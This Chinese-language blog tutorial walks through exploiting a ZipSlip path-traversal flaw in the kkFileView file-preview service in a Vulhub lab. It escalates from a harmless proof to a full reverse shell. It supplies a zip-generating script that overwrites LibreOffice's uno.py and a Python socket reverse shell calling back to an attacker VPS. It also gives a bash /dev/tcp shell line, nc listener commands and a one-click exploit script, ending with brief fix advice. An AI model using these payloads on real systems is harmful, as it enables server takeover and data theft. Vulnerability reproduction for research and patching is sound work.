【GetShell】kkFileView ZipSlip远程命令执行漏洞

演示视频

如果觉得看文字不够直观,完整的操作演示在这里:

一个压缩包,两次点击,服务器直接沦陷?kkFileView ZipSlip 漏洞拆解

一、亮点

kkFileView 是一个文件预览服务,在很多企业内部系统里都能看到它的影子------上传一个文件,不用下载就能在浏览器里直接看。但它的压缩包解压写得有点糙:不检查 zip 条目里写的路径是不是合法的,你写什么它就往哪解压。

乍一听好像没什么,不就是能往服务器上写文件嘛。但这里藏着一个连锁反应------kkFileView 为了预览 Office 文档,内置了 LibreOffice 。而 LibreOffice 启动时会自动加载一个叫 uno.py 的 Python 启动脚本。把这个脚本覆写成恶意代码,再让 kkFileView 预览一次 Office 文档------服务器就没了。

网上关于这个漏洞的文章,能找到的几乎都停在 touch /tmp/success------验证一下命令能执行就收工了。我从这一步走到反弹 Shell ,中间卡了一个很隐蔽的坑:覆写的是 Python 脚本 ,所以执行的代码必须是 Python 代码 ,反弹 Shell 那套 bash -i >& /dev/tcp/... 的写法在这里完全行不通。

这篇文章会把完整的利用链走一遍------从生成恶意压缩包到最终弹回交互式 Shell,每一步的代码都拆碎了讲。不管你是刚接触漏洞复现的新手还是踩过不少坑的老手,希望能让你看完之后自己也能跑通。


二、漏洞背景

kkFileView 是什么?

kkFileView 是一个基于 Spring Boot 开发的文件预览服务。企业里用它来做文档在线预览------用户在系统里上传一个 Word、PDF、图片、压缩包,不需要下载就能直接在浏览器里看。它底层调用了 LibreOffice (处理 Office 文档)、ImageMagick(处理图片)等一堆第三方工具来渲染文件。

因为功能实用、部署简单,很多 OA 系统、网盘系统、文档管理系统都集成它。问题也恰恰出在这个"集成"上------它能处理的文件类型太多了,每一种格式的解析都可能引入攻击面。

ZipSlip 是什么?

ZipSlip 是一个经典漏洞类型,不限于 Java,任何解压逻辑都可能踩这个坑。

简单说就是:一个 zip 压缩包里,每个文件条目都带着一个"路径名"。正常解压时,程序应该检查这个路径名是否合法------具体说就是,拼接出来的最终路径不能跑到解压目标目录的外面去。如果程序不检查,攻击者就可以在路径名里塞 ../,让解压后的文件落到任意位置。

就好比你请快递员把包裹搬进你指定的房间,但快递员不检查你填的"放哪里"是不是合理------你写"隔壁银行金库",他看了一眼,二话不说就给你搬进去了。

在 kkFileView 里,当你上传一个 zip 文件并点击"预览"时,服务端会把 zip 解压到一个临时目录,然后列出里面的文件。这个解压过程------没有校验每个条目的路径名

攻击链:两次触发,一步到位

单独看 ZipSlip,你能往服务器上任意位置写文件。但这还不够------你需要让这个文件被"执行"。一个配置文件覆盖了,服务重启才生效;一个静态资源覆盖了,最多也就是替换个页面。

关键来了:kkFileView 内置了 LibreOffice 来预览 Office 文档 。而 LibreOffice 启动时会自动加载 /opt/libreoffice7.5/program/uno.py------这是一个 Python 启动脚本,每次 LibreOffice 进程启动,它都会被导入执行。

攻击链就清楚了:

  1. 上传恶意 zip → 预览 → 触发解压 → ZipSlip 路径穿越 → 覆写 uno.py(写入恶意 Python 代码)
  2. 上传 ODT 文档 → 预览 → kkFileView 调用 LibreOffice 渲染 → LibreOffice 启动 → 自动加载恶意 uno.py代码执行

两步触发,中间隔着一个"LibreOffice 启动即加载"的机制。这个机制本来是为了让 LibreOffice 能加载自定义宏和扩展,但在 ZipSlip 的加持下,它变成了一个天然的代码执行入口。


三、环境搭建

Vulhub 已经整合了这个漏洞环境,一行命令启动:

bash 复制代码
docker compose up -d

启动完成后访问 http://your-ip:8012,看到 kkFileView 的首页(一个文件上传页面),说明靶场就绪。


四、漏洞复现

整个利用过程分两步:第一步生成恶意压缩包第二步上传并触发

步骤1:生成恶意压缩包

下面是一段 Python 脚本,作用是生成一个带路径穿越的 zip 文件:

python 复制代码
import zipfile

if __name__ == "__main__":
    try:
        binary1 = b'vulhub'
        binary2 = b"import os\nos.system('touch /tmp/success')\n"
        zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
        zipFile.close()
    except IOError as e:
        raise e

拆解一下这段代码在干什么:

  • binary1 = b'vulhub' :塞一个正常文件 test 到压缩包里,内容只有 vulhub。这是为了伪装------让压缩包看起来"里面有东西",不是一个空的壳。你预览 zip 的时候会在文件列表里看到 test 这个条目。
  • binary2 = b"import os\nos.system('touch /tmp/success')\n" :这是真正要写进去的恶意代码。注意它是合法的 Python 语句------因为 uno.py 是 Python 脚本,只有 Python 代码才能被 LibreOffice 的 Python 解释器执行。这里先做一个无害测试:在 /tmp 下创建一个叫 success 的文件,证明命令执行成功。
  • zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED) :以追加模式("a")创建压缩包,用 DEFLATED 算法压缩。模式写 "a" 而不是 "w" 是因为 zipfile 的 writestr 在追加模式下更宽容一些(这是个实现细节,不重要,记住就行)。
  • zipFile.writestr("test", binary1) :写入第一个条目,路径名是 test------一个正常的、不带 ../ 的文件名。
  • zipFile.writestr("../../.../uno.py", binary2)这是漏洞核心 。第二个条目的路径名是一长串 ../,从解压目录一路回溯到根目录 /,再进入 /opt/libreoffice7.5/program/,最终定位到 uno.py。kkFileView 的解压逻辑没有检查路径中是否包含 ../,直接拼接后就写出了文件。
  • zipFile.close():关闭压缩包,写入完成。

那 31 层 ../ 是怎么来的?kkFileView 把 zip 解压到一个临时目录,路径大概是 /opt/kkFileView/file/xxx/yyy/...../ 的层数只要足够多就行------多了不会出错(停在根目录 / 就上不去了),少了就到不了根目录。这里写了 31 层,实际上是冗余的,保证一定能穿越到根目录。

执行脚本生成恶意压缩包:

bash 复制代码
python poc.py

当前目录下生成了 test.zip

步骤2:上传文件到 kkFileView

打开 kkFileView 首页(http://your-ip:8012),把 test.zipsample.odt 两个文件一起拖进去或选文件上传:

两个文件都上传成功后,页面上会显示它们。

步骤3:触发解压------预览 test.zip

点击 test.zip 旁边的"预览"按钮:

弹出的预览窗口里展示了压缩包内的文件列表------只有 test 这个文件。但就在你点下"预览"的那一刻,kkFileView 已经把 zip 解压到了一处临时目录。因为里面那个条目路径带有 ../,解压过程中 uno.py 被写到了 /opt/libreoffice7.5/program/ 下,覆盖了原生的启动脚本

这一步你看不到任何异常------预览功能正常工作,文件列表正常显示。但这恰恰是漏洞"隐蔽"的地方。

步骤4:触发代码执行------预览 sample.odt

现在点击 sample.odt 的"预览"按钮:

kkFileView 发现这是一个 ODF 文本文档(.odt 格式),于是调用 LibreOffice 来渲染它。LibreOffice 进程启动,第一件事就是加载 program/uno.py------而此时这个脚本已经被我们覆写成了:

python 复制代码
import os
os.system('touch /tmp/success')

这条命令的意思:调用操作系统的 touch 命令,在 /tmp 目录下创建一个名为 success 的空文件。

步骤5:验证命令执行

进入 Docker 容器,检查 /tmp/success 是否被创建:

bash 复制代码
docker exec -it <container-id> ls -la /tmp/success

文件存在。touch /tmp/success 被执行了。

到这一步,漏洞复现完成。你已经证明了:通过 zip 路径穿越覆写 LibreOffice 启动脚本,可以执行任意系统命令。

但在实战里,"能执行命令"离"拿下服务器"还差着关键一步------反弹 Shell


五、GetShell:拿下服务器

价值锚点

能执行 touch /tmp/success 只是证明漏洞存在。网上关于这个漏洞的文章,绝大多数到这步就结束了------展示一个 idwhoami 的结果,然后收工。

但真正难的是从这里走到反弹 Shell。因为你覆写的是 Python 脚本,执行的代码必须是 Python 代码 ,不能是原生的 Shell 命令。这一点很多第一次接触这个漏洞的人意识不到------你把 os.system('touch /tmp/success') 换成 bash -i >& /dev/tcp/ip/port 0>&1 试试看?翻车。这一节我会把翻车的原因和绕过方案都拆清楚。

第一次尝试:直接套 bash 反弹------翻车了

既然 os.system() 能执行 touch /tmp/success,那我直接把里面的命令换成反弹 Shell 不就行了?我当时就是这么想的:

python 复制代码
# 天真的想法------这样写
binary2 = b"import os\nos.system('bash -i >& /dev/tcp/攻击端IP/监听端口 0>&1')\n"

先在攻击端(你的 VPS 或 Kali)开好监听:

bash 复制代码
nc -lvvp 25004

然后生成新的 test.zip,上传,预览 zip,预览 odt------等着 Shell 弹回来。

结果:nc 监听一片空白,什么都没收到。

排查了一下发现,问题出在两层解析的冲突上。os.system() 底层调用的是系统的 /bin/sh -c。在 Docker 容器环境里,/bin/sh 通常是 Dash 而不是 Bash------Dash 不支持 /dev/tcp 这个 Bash 独有的虚拟设备。所以 bash -i >& /dev/tcp/ip/port 0>&1 里的 /dev/tcp 路径在 Dash 下根本就不存在,命令直接失败了。

绕过思路:纯 Python 反弹 Shell

既然 Python 解释器是可用的,为什么还要走 Shell 绕一圈?直接用 Python 的 socket 库写一个网络连接,把标准输入、输出、错误都绑到这个 socket 上,然后启动一个交互式 Shell------全程不依赖 Bash 的 /dev/tcp 特性。

python 复制代码
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("公网IP",端口))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

这段代码拆开来看,每一句都很直白:

  • import socket,subprocess,os:引入三个 Python 标准库------socket 负责网络通信,subprocess 负责启动子进程,os 负责文件描述符操作。全是 Python 自带的标准库,不需要额外安装。
  • s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) :创建一个 TCP 套接字。AF_INET 表示 IPv4,SOCK_STREAM 表示 TCP。
  • s.connect(("公网IP", 端口)) :连接到你的攻击端 IP 地址和监听端口。这里发起的是一个由内向外的连接------目标服务器主动连到你的 VPS。
  • os.dup2(s.fileno(), 0):把标准输入(文件描述符 0)重定向到 socket。也就是说,你在 VPS 终端里敲的命令,会通过 socket 连接传送到目标服务器的 Shell 里。
  • os.dup2(s.fileno(), 1):把标准输出(文件描述符 1)重定向到 socket。Shell 执行命令的输出结果会通过 socket 传回你的 VPS 终端。
  • os.dup2(s.fileno(), 2):把标准错误(文件描述符 2)也重定向到 socket。错误信息也会传回来,不会丢失。
  • subprocess.call(["/bin/sh","-i"]) :启动一个交互式 Shell(-i 参数)。这个 Shell 的输入输出已经被重定向到了 socket,所以你能在远端操作它。

说到为什么要用公网 VPS------这模拟的是真实攻击场景。有漏洞的 kkFileView 服务往往部署在企业内网,没有公网 IP。你不可能直接从外网连进去。但让内网服务器主动向外发起连接------从里面转动门把手把门打开------很多企业内网的防火墙对这种由内向外的连接是不做限制的。就像你家门从外面开需要钥匙,但从里面开门只需要转一下门把手。

Payload 构造

把上面的 Python 反弹 Shell 代码塞进恶意压缩包的生成脚本里:

python 复制代码
import zipfile

if __name__ == "__main__":
    try:
        binary1 = b'vulhub'
        binary2 = b'import socket,subprocess,os\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("公网IP",端口));os.dup2(s.fileno(),0)\nos.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\np=subprocess.call(["/bin/sh","-i"])\n'
        zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
        zipFile.close()
    except IOError as e:
        raise e

注意 binary2 字符串里用了 \n 来表示换行------因为我们是把多行 Python 代码压缩到一行字符串里。同时也用了分号;)来连接 Python 语句,这样所有逻辑都在一个"行"里写完。实际上分号后的 os.dup2(...)subprocess.call(...) 在 Python 里完全可以写成多行,但这里为了简化字符串构造,用分号串在了一起。

开启监听

在你的公网 VPS(或 Kali 虚拟机,只要有公网 IP 就行)上开监听:

bash 复制代码
nc -lvvp 25004

触发

执行上面的脚本生成新的 test.zip → 上传到 kkFileView → 先预览 test.zip(触发解压覆写)→ 再预览 sample.odt(触发 LibreOffice 启动)。

回到你的 VPS 终端:

bash 复制代码
whoami
uname -a
id

Shell 弹回来了。这是一个完整的交互式终端------你可以 lscatcd,和在服务器机房里敲键盘一样。

从上传一个带路径穿越的压缩包,到最终拿到服务器的控制权------两次点击、两个文件、一条 Python 反弹 Shell。


六、踩坑与避坑

坑1:Python 运行环境------bash 反弹写法直接翻车

这个坑在上面讲得比较细了,这里快速收一下。

现象 :把 os.system('touch /tmp/success') 换成 os.system('bash -i >& /dev/tcp/ip/port 0>&1'),监听端收不到连接。

根因os.system() 底层调用 /bin/sh -c,在 Docker 容器里 /bin/sh 指向的通常是 Dash 而非 Bash。Dash 不支持 /dev/tcp 虚拟设备,重定向失败。更深一层说,os.system() 本身就是"绕一圈"------把命令字符串交给 Shell,让 Shell 去解析执行------中间多了一层不可控的 Shell 解析。

方案 :直接用 Python 标准库 socket + subprocess 写反弹 Shell,彻底绕过 Shell 层。代码就是上面那五行。这个 payload 能跑通的关键在于------不让 Shell 介入,Python 自己完成网络连接和 I/O 重定向。

python 复制代码
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("公网IP",端口))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

知道了就这么简单------五行 Python 代码,不知道能卡你一下午。

坑2:路径穿越层数------少了到不了根目录

现象 :恶意 zip 上传并预览后,uno.py 没有被覆写,命令执行失败。

根因../ 的层数不够。kkFileView 解压 zip 的临时目录路径可能比你想的深------/opt/kkFileView/file/随机目录/转换目录/...,如果 ../ 层数少于实际目录深度,你就回不到根目录 /,最终的写入路径就不是 /opt/libreoffice7.5/program/uno.py 而是一个不存在的路径。

方案 :直接把 ../ 写到 30 层以上。多余的 ../ 在到了根目录 / 之后就无效了(Linux 根目录的父目录还是根目录),不会出错。我用的 payload 里写了 31 层,实测在各种环境下都能稳定穿透。公式就是:宁可多写,不要少写

python 复制代码
# 保证一下穿到根目录
zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)

坑3:反弹 Shell 用内网 IP------连不出去

现象 :Shell 代码里的 IP 填的是 192.168.x.x127.0.0.1,监听端永远收不到连接。

根因 :目标服务器在 Docker 容器里或企业内网中,它去连 192.168.x.x 只能连到自己网络里的设备,连不到你的攻击端。反弹 Shell 的本质是让目标主动找你,所以你必须有一个目标能访问到的公网地址。

方案:使用有公网 IP 的 VPS 或云服务器作为监听端。如果你没有公网 VPS,也可以用 ngrok 之类的内网穿透工具临时暴露一个公网端口。但最稳妥的还是搞一台 VPS------做安全研究迟早用得上。


七、一键利用脚本

每次手动生成压缩包、上传、逐一点击预览太慢了。我把整个流程写成了一个脚本:

python 复制代码
#!/usr/bin/env python3
# 用法: python exploit.py --lhost 公网IP --lport 监听端口

import zipfile
import os
import argparse

def gen_evil_zip(lhost: str, lport: int) -> str:
    """生成包含反弹Shell Payload的恶意压缩包"""
    payload = (
        b'import socket,subprocess,os\n'
        b's=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n'
        b's.connect(("%s",%d));os.dup2(s.fileno(),0)\n'
        b'os.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\n'
        b'p=subprocess.call(["/bin/sh","-i"])\n'
    ) % (lhost.encode(), lport)
    
    dummy = b'vulhub'
    path = "../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py"
    
    filename = "evil.zip"
    zf = zipfile.ZipFile(filename, "a", zipfile.ZIP_DEFLATED)
    zf.writestr("test", dummy)
    zf.writestr(path, payload)
    zf.close()
    return filename

def main():
    parser = argparse.ArgumentParser(description="kkFileView ZipSlip RCE Exploit")
    parser.add_argument("--lhost", required=True, help="反弹Shell监听IP")
    parser.add_argument("--lport", type=int, required=True, help="反弹Shell监听端口")
    args = parser.parse_args()
    
    print(f"[*] 生成恶意压缩包... (回调地址: {args.lhost}:{args.lport})")
    zipname = gen_evil_zip(args.lhost, args.lport)
    
    print(f"[+] 压缩包已生成: {zipname}")
    print(f"[*] 下一步:")
    print(f"    1. 在VPS上开监听: nc -lvvp {args.lport}")
    print(f"    2. 访问 http://target:8012 上传 {zipname} 和 sample.odt")
    print(f"    3. 先预览 zip,再预览 odt")
    print(f"    4. 回到 VPS 查看 Shell")

if __name__ == "__main__":
    main()

核心逻辑就三个部分:

  • gen_evil_zip() :构造恶意 zip------把反弹 Shell 的 Python 代码作为 uno.py 的内容,加上 31 层 ../ 路径穿越写进去。lhostlport 通过字符串格式化注入到 Payload 中。
  • main():argparse 解析参数,调用生成函数,给出下一步操作提示。
  • 路径穿越字符串 :固定的 31 层 ../,保证在大多数环境下都能穿到根目录。

用法:

bash 复制代码
# 先开监听
nc -lvvp 25004

# 生成恶意压缩包
python exploit.py --lhost 你的公网IP --lport 25004

# 然后按提示操作------上传 evil.zip + sample.odt → 预览 zip → 预览 odt

八、修复建议

  • 升级 kkFileView4.2.0 及以上版本 ,该版本新增了 zip 条目路径校验逻辑,拒绝包含 ../ 的路径名
  • 解压 zip 时对每个条目执行路径规范化校验 ------将目标路径规范化后检查其是否以解压根目录为前缀,不匹配的直接拒绝。Java 中可以用 File.getCanonicalPath() + startsWith() 来判断
  • 对 LibreOffice 使用独立低权限用户运行,即使启动脚本被覆写,攻击者也受限于该用户的系统权限
  • 使用 chroot / Docker 等方式隔离文件预览进程,限制其对宿主机文件系统的写入范围
  • 如果业务不需要,禁用压缩包在线预览功能,或限制允许预览的文件类型白名单

九、写在最后

这个漏洞的本质就一句话:信任了压缩包里的路径名。开发的时候可能觉得"路径名嘛,就是文件名",没意识到它可以被用来做目录穿越。加上 LibreOffice 启动自动加载脚本的设计,一个看似只能"乱写文件"的 ZipSlip 变成了远程命令执行。

如果你是第一次做漏洞复现,建议先手动走一遍全流程------从 docker compose up -d 开始,自己写 poc.py、自己上传、自己开监听等 Shell。理解每一步"为什么这么做",比会跑脚本重要得多。等你手动跑通了,再回头看那个 exploit.py,你就知道它在替你做什么。

这个漏洞的利用思路和专栏里之前写过的 Apache OFBiz(CVE-2024-45507) 有点像------都是通过往服务器上写入关键文件来打开攻击面。如果你对这种"文件写入→代码执行"的模式感兴趣,可以翻翻那篇,看看不同产品踩的同类坑。

复现过程中有问题直接评论区留言,我看到了会回。

本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境,禁止对任何未授权系统进行测试。请遵守《中华人民共和国网络安全法》。技术本身没有好坏,关键在于是谁在用、用来做什么。